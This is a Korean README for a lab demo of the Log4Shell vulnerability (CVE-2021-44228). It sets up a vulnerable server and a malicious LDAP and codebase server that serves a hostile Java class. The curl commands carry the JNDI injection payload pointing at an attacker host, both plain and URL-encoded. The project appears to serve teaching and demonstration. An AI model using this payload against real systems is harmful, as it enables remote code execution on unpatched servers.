
Log4Shell / CVE-2021-44228 취약점이 어떻게 작동하는지 보여주는 데모
이 프로젝트는 Log4Shell / CVE-2021-44228 취약점이 어떻게 작동하는지 시연하는 것을 목표로 합니다.
Docker만 설치되어 있으면 됩니다. 이상적으로는 두 대의 다른 가상 머신이 있는 것이 좋습니다. 하나는 _취약한 서버_용이고, 다른 하나는 악성 코드베이스와 LDAP 서버를 호스팅할 _악성 서버_용입니다.
선택적으로 _Make_와 _Docker Compose_가 설치되어 있을 수 있지만, 이는 필수가 아닙니다. 이 저장소에는 이러한 요구 사항을 건너뛰고 Docker 컨테이너 내에서 사용할 수 있는 make.sh도 포함되어 있기 때문입니다.
아직 설치하지 않았다면, 다음은 Debian VM에 Docker를 설치하는 단계입니다. 이 단계를 사용할 수 있습니다: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
이 명령은 기본 LDAP 서버와 악성 Java 클래스를 제공하는 기본 Python 서버를 시작합니다.
이러한 서버가 사용 가능할 IP 주소 또는 도메인 이름을 제공해야 합니다.
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
또는
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
여기서 ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}는 URL 인코딩된 것입니다.
../make.sh stop
../make.sh logs